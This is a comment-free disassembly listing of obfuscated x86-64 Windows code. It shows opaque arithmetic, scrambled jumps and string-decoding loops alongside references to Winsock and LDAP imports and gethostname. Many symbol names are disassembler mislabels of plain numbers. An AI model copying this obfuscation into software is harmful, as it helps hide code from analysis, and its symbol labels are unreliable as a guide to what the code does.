mov byte [rbp + rbx + 0x9d8], r10b
inc rbx
jmp 0x14009e3c2
movabs rdx, 0x3822f6b85f0c49df
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x19
add r10b, dl
cmp r8, 2
jae 0x14009eddd
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14009ecaf
movabs rdx, 0x6437da7476f35ab2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x400
jb 0x14009e7dc
movabs rcx, 0x607097e23929c86
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x54]
jmp 0x14009ef9d
movabs rdx, 0x5b27d86a9a95f67d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x14009ee0d
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14009eb57
movabs rdx, 0xd3eb1c43e818ef2d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3b
jmp 0x14009e80c
movabs rcx, 0xa7d63887d031de5a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x14009ee5c
movabs rdx, 0xcadb1a3a0bbb8af8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009e3c2
movabs rcx, 0xeddffbec47453796
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
jmp 0x14009f046
movabs rcx, 0x10e4dd9e82cee434
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x14009ef4f
movabs rdx, 0x33e9bf50be5890d2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009e3c2
movabs rcx, 0x56eea102f9e23d70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x14009e3c2
movabs rdx, 0x79f382b5356bea0e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x62
add r10b, dl
jmp 0x14009ef9d
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14009ea32
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x29
jmp 0x14009e89a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009ea75
movabs rcx, 0x20997c611db4d70a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
movzx eax, byte [rbp + rbx + 0x9d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009e3c2
inc rax
cmp r8, rax
jne 0x14009eaaa
movabs rdx, 0xda8fb8fca6a17dce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ee5c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009eaeb
movabs rcx, 0xb78ad74a6b17d130
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009e3c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009eb21
movabs rdx, 0x718113e5f40477f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ef4f
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009e89d
movabs rdx, 0x8726ecf4167721a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ef9d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009eb8c
movabs rdx, 0xb0e63a91ac8f428f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x17
add r10b, dl
jmp 0x14009ef9d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009ebc4
movabs rcx, 0x6adc772d357be953
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x45
dec rbx
inc rbx
jmp 0x14009e3c2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009ebf6
movabs rcx, 0x24d2b3c8be689017
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5f
jmp 0x14009f046
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ec37
movabs rcx, 0x1cdd21682dee379
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009e3c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009ec6c
movabs rdx, 0xbbc40eb20bcb8a3d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x55
add r10b, dl
jmp 0x14009ee8c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009e80f
movabs rcx, 0x98bf2cffd041dd9f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x59
movzx eax, byte [rbp + rbx + 0x9d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009e3c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009ecf6
movabs rdx, 0x4132f8c23b69ae14
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x9d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009e3c2
inc rax
cmp r8, rax
jne 0x14009ed2b
movabs rdx, 0xfb29355dc45654d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ee5c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009ed71
movabs rdx, 0xd82453ab88cca83a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009e3c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009eda7
movabs rdx, 0x921a904711b94efe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009ef4f
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009e84a
movabs rdx, 0x290beb305f1c4924
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ef9d
movabs rdx, 0xe30227cbe808efe8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x9d8]
sub r10b, al
sub r10b, 0x58
add r10b, dl
add r10b, r11b
jmp 0x14009ef4f
movabs rdx, 0xbffd4619ac7f434a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0x9d8]
sub r10b, 6
add r10b, dl
jmp 0x14009ee5c
movabs rcx, 0x9b2a9250ee16b333
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
movabs rcx, 0xae7ad5408eba6cfb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x23
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x9d8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x9cf8646770f596ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x9d8], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x9d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009e3c2
movabs rcx, 0xbe2f740329a05fd1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x49
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009e3c2
movabs rcx, 0xe13455b5652a0c6f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 9
jmp 0x14009f046
movabs rcx, 0x4393767a0b3b90d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
movabs rcx, 0xd17fb6f2ca441999
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x2f
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x9d8], r11b
jmp 0x14009f046
movabs rcx, 0x6d47dc7e5350bee7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x51
movabs rcx, 0xf48498a505cdc637
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x7f
add cl, r11b
mov byte [rbp + rbx + 0x9d8], cl
inc r9
dec rbx
inc rbx
jmp 0x14009e3c2
movabs rcx, 0xd656819505edc4c1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
inc r9
dec rbx
inc rbx
jmp 0x14009e3c2
movabs rcx, 0xf95b63474177715f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x67
dec rbx
inc rbx
jmp 0x14009e3c2
movabs rcx, 0x3f6526abb88aca9b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009e3c2
movabs rcx, 0xcb78ad74a6b17d13
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x7b
movzx eax, byte [rbp + rbx + 0x9d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009e3c2
movabs rcx, 0xe73b5f3388bca8f5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4d
jmp 0x14009e3c0
movabs rcx, 0xa4040e5c4465593
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 5
jmp 0x14009e3b0
lea rcx, [rbp + 0x1400cc4]
jmp 0x14009f0fa
lea rcx, [rbp + 0x7b3675]
jmp 0x14009f0fa
lea rcx, [rbp + 0x9d8]
mov rdx, rdi
call fcn.140035c60
test al, al
je 0x14009f158
lea rdx, [0x140229f00]
lea rcx, [rbp + 0x2e8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x98]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006ba40
movzx ecx, byte [rax]
mov byte [0x14022bd6a], cl
mov byte [rbp + 0xa00], gethostname
mov byte [rbp + 0xa01], 0xde
mov byte [rbp + 0xa02], 0xcc
mov byte [rbp + 0xa03], Ordinal_211
mov byte [rbp + 0xa04], 0xc1
mov byte [rbp + 0xa05], Ordinal_200
mov byte [rbp + 0xa06], Ordinal_200
mov byte [rbp + 0xa07], 0xca
mov byte [rbp + 0xa08], 0x7e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa09], xmm0
mov qword [rbp + 0xa19], rax
mov word [rbp + 0xa21], ax
movabs rsi, 0xcb46e735cc8426fb
movabs r13, 0xc08978b96b433ecf
movabs r14, 0x8aa48cad3d831a65
movabs r15, 0x9919b3a66fc9cc7
movzx r10d, byte [rsp + 0x40]
nop
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14009fffd
movzx ebx, byte [rbp + rdi + 0xa00]
mov r11, rbx
cmp r8, rdi
ja 0x14009fff1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009f23a
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x57
jmp 0x14009f273
je 0x14009ff6a
inc rax
cmp r8, rax
je 0x14009ff00
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009fea5
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009fe7c
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009fe50
cmp r9, rdi
ja 0x14009ffe5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009f2a7
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x23
add r10b, dl
jmp 0x14009f2e0
je 0x14009fdff
inc rax
cmp r8, rax
je 0x14009fdd3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009fda0
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009fd48
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009fd24
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009f955
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009f930
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009f8ff
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009f8d6
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009f8ae
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009f886
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009f853
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009f82e
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009f809
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009f7d5
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14009f2f0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009ffc2
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009ff9f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009f4df
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14009f4c5
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009f4ab
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009f774
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14009f707
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009f6b4
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009f686
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009f2f0
lea r8, [r9 + 0x200]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009f652
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14009f62d
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009f608
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14009f5d5
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14009f5ad
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009f585
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009f55c
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009f52b
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14009f506
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009f2f0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x10]
jmp 0x14009f2f0
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x3d
jmp 0x14009f2e0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x71
jmp 0x14009f273
movabs rdx, 0x887ea9c790761f29
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x1f
add r10b, dl
jmp 0x14009f204
movabs rdx, 0x5a3739ae642137d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009fe1e
movabs rdx, 0xd924483b8d9aba3a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009f1f2
movabs rcx, 0x581156c8b7143c9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x44
dec rdi
inc rdi
jmp 0x14009f1f2
movabs rdx, 0xd6fe6555e08dbefe
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009fec3
movabs rdx, 0x55eb73e30a074160
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009fee8
movabs rcx, 0xd4d882703380c3c2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x4e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f1f2
movabs rdx, 0x53c590fd5cfa4624
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009fd67
movabs rdx, 0xd2b29f8a8673c886
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009ff23
movabs rcx, 0x519fae17afed4ae8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x58
movzx eax, byte [rbp + rdi + 0xa00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f1f2
movabs rcx, 0x8ef05278979d10dd
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0xb
mov byte [rbp + rdi + 0xa00], r10b
inc rdi
jmp 0x14009f1f2
movabs rdx, 0xddd6105c116933f
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x47
add r10b, dl
cmp r9, 0x3e8
jb 0x14009f6a4
movabs rdx, 0xb6c619e0bccb067a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14009fe21
movabs rdx, 0x8cca6f92ea9015a1
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x67
add r10b, dl
cmp r8, 1
jae 0x14009fcc7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009fbc9
movabs rcx, 0x2d1b9cd732109bec
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x74
movzx eax, byte [rbp + rdi + 0xa00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f1f2
movabs rdx, 0xbb77e2014099803
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x15
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x14009fcf7
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14009fac5
movabs rdx, 0xe0c1c42e8f05f753
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x45
jmp 0x14009f726
movabs rcx, 0xc3a96b42cb18e9e2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x2e
movzx eax, byte [rbp + rdi + 0xa00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f1f2
movabs rdx, 0x429679cff4926c44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009ff23
movabs rdx, 0xc183885d1e0beea6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009fd67
movabs rcx, 0x407096ea47857108
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x38
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f1f2
movabs rdx, 0xbf5da57770fef36a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009fee8
movabs rdx, 0x3e4ab4049a7875cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009fec3
movabs rcx, 0xbd37c291c3f1f82e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x42
dec rdi
inc rdi
jmp 0x14009f1f2
movabs rdx, 0x3c24d11eed6b7a90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009f1f2
movabs rdx, 0xbb11dfac16e4fcf2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009fe1e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009f97d
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x57
jmp 0x14009f793
jne 0x14009f9bc
movabs rdx, 0x968dce6b99084df6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xa00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f1f2
inc rax
cmp r8, rax
jne 0x14009f9eb
movabs rcx, 0x98b3b15146154932
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5e
jmp 0x14009fd6a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009fa1b
movabs rcx, 0x9ad99436f322446e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 2
jmp 0x14009fee8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009fa56
movabs rdx, 0x9cff771ca02f3faa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x14009f1f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009fa94
movabs rdx, 0x1e12688f76b5bd48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009f1f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009f796
movabs rdx, 0x9f255a024d3c3ae6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x4a
jmp 0x14009fe1e
jne 0x14009faef
movabs rdx, 0x61d4b5a1658c74f1
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x69
jmp 0x14009fe1e
inc rax
cmp r8, rax
jne 0x14009fb27
movabs rcx, 0xe2e7a7143c12f28f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x17
inc r9
dec rdi
inc rdi
jmp 0x14009f1f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009fb67
movabs rcx, 0xe7336cdf962ce907
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x31
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f1f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009fb98
movabs rdx, 0x68465e526cb366a5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x7d
jmp 0x14009fd67
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009f729
movabs rdx, 0xe9594fc54339e443
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x2b
jmp 0x14009ff23
inc rax
cmp r8, rax
jne 0x14009fbf8
movabs rcx, 0x2f417fbcdf1d9728
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x14009fd6a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009fc2d
movabs rdx, 0x316762a28c2a9264
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009fee8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009fc61
movabs rdx, 0xb27a541562b11002
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0xe
add r10b, dl
jmp 0x14009fec3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009fc97
movabs rcx, 0x338d458839378da0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
dec rdi
inc rdi
jmp 0x14009f1f2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009f6d6
movabs rcx, 0x35b3286de64488dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 4
jmp 0x14009fe21
movabs rdx, 0x37d90b5393518418
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rdi + 0xa00]
add r10b, bl
add r10b, dl
jmp 0x14009fec3
movabs rdx, 0xb8ebfcc669d801b6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rdi + 0xa00]
add r10b, bl
jmp 0x14009fd67
movabs rdx, 0xd3de72cc80b813eb
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x6d
jmp 0x14009ff23
movabs rdx, 0x52cb8159aa31964d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x1b
add r10b, dl
movabs rdx, 0x7975757fd51b4085
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x5d
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xa00], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14009ff26
movabs rcx, 0xd1b88fe6d3ab18af
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x37
movzx eax, r10b
mov rcx, r12
sub rcx, rax
